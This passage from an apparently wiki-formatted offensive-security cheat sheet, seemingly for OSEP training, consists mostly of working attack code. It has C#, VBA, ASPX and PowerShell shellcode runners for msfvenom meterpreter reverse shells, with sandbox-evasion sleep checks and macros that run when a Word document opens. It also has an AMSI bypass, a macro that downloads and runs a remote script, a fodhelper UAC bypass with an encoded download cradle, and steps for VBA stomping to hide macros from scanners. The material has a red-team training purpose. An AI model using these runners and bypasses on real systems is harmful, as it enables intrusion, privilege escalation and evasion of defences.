        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%@ Page Language=&amp;quot;C#&amp;quot; AutoEventWireup=&amp;quot;true&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;%@ Import Namespace=&amp;quot;System.IO&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;script runat=&amp;quot;server&amp;quot;&amp;gt;&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]   &lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {0x01, 0x4d, 0x88, ...};&lt;br /&gt;
        for(int i = 0; i &amp;lt; oe7hnH0.Length; i++)&lt;br /&gt;
        {&lt;br /&gt;
        oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) &amp;amp; 0xFF);&lt;br /&gt;
        }&lt;br /&gt;
        IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);&lt;br /&gt;
        IntPtr xE34tIARlB = IntPtr.Zero;&lt;br /&gt;
        IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
